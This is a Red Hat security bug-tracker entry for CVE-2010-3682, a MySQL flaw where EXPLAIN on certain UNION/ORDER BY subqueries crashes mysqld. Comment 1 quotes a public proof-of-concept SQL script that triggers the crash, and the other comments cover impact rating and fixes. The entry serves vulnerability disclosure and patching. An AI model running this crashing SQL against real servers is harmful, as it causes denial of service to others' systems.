Bug 628328 (CVE-2010-3682)

Summary: CVE-2010-3682 MySQL: mysqld DoS (crash) by processing EXPLAIN statements for complex SQL queries (MySQL bug #52711)
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: byte, jrusnack, kvolny, rcvalle, tao, tgl, vdanen
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2012-03-30 14:21:00 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 636780, 645642, 645643, 652553, 652554, 833943    
Bug Blocks:    

Description Jan Lieskovsky 2010-08-29 13:57:18 UTC 
A denial of service flaw was found in the way MySQL processed EXPLAIN
statements for SQL queries of the form: 

  SELECT ... UNION ... ORDER BY (SELECT ... WHERE ...)

A remote authenticated MySQL user could use this flaw to cause mysqld deamon
crash (dereference NULL pointer).

References:
  [1] http://secunia.com/advisories/41048/
  [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html

Upstream bug report:
  [3] http://bugs.mysql.com/bug.php?id=52711

Upstream changesets:
  [4] http://lists.mysql.com/commits/105750
  [5] http://lists.mysql.com/commits/112043

Note:
This issue only causes a temporary denial of service, as the mysql daemon
shipped with Red Hat Enterprise Linux 5 will be automatically restarted
after the crash.
Comment 1 Jan Lieskovsky 2010-08-29 13:59:14 UTC 
Public proof of concept script from [3]:

CREATE TABLE t1 (a VARCHAR(10), FULLTEXT KEY a (a));
INSERT INTO t1 VALUES (1),(2);
CREATE TABLE t2 (b INT);
INSERT INTO t2 VALUES (1),(2);

EXPLAIN SELECT * FROM t1 UNION SELECT * FROM t1
  ORDER BY (SELECT a FROM t2 WHERE b = 12);

EXPLAIN SELECT * FROM t2 UNION SELECT * FROM t2
  ORDER BY (SELECT * FROM t1 WHERE MATCH(a) AGAINST ('+abc' IN BOOLEAN MODE));

DROP TABLE t1,t2;
Comment 4 Jan Lieskovsky 2010-08-29 14:07:23 UTC 
This issue did NOT affect the versions of the mysql package, as shipped
with Red Hat Enterprise Linux 3 and 4.

This issue affects the version of the mysql package, as shipped with
Red Hat Enterprise Linux 5.

The Red Hat Security Response Team has rated this issue as having
low security impact, as exploitation of this issue would mean only
a temporary denial of service, since the mysql daemon shipped with
Red Hat Enterprise Linux 5 will be automatically restarted after
the crash.

A future update may address this flaw in Red Hat Enterprise Linux 5.

--

This issue affects the versions of the mysql package, as shipped with
Fedora release of 12 and 13.
Comment 6 Jan Lieskovsky 2010-08-31 12:55:10 UTC 
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8
Comment 7 Jan Lieskovsky 2010-09-23 09:20:19 UTC 
Created mysql tracking bugs for this issue

Affects: fedora-all [bug 636780]
Comment 8 Jan Lieskovsky 2010-09-29 08:45:03 UTC 
The CVE identifier of CVE-2010-3682 has been assigned to this issue.
Comment 12 errata-xmlrpc 2010-11-03 20:22:10 UTC 
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5

Via RHSA-2010:0825 https://rhn.redhat.com/errata/RHSA-2010-0825.html
Comment 13 Vincent Danen 2010-11-03 20:49:13 UTC 
Statement:

This issue did not affect the versions of mysql as shipped with Red Hat Enterprise Linux 3 and 4. This issue was addressed in Red Hat Enterprise Linux 5 via https://rhn.redhat.com/errata/RHSA-2010-0825.html.
Comment 15 errata-xmlrpc 2011-01-18 18:43:24 UTC 
This issue has been addressed in following products:

  Red Hat Enterprise Linux 6

Via RHSA-2011:0164 https://rhn.redhat.com/errata/RHSA-2011-0164.html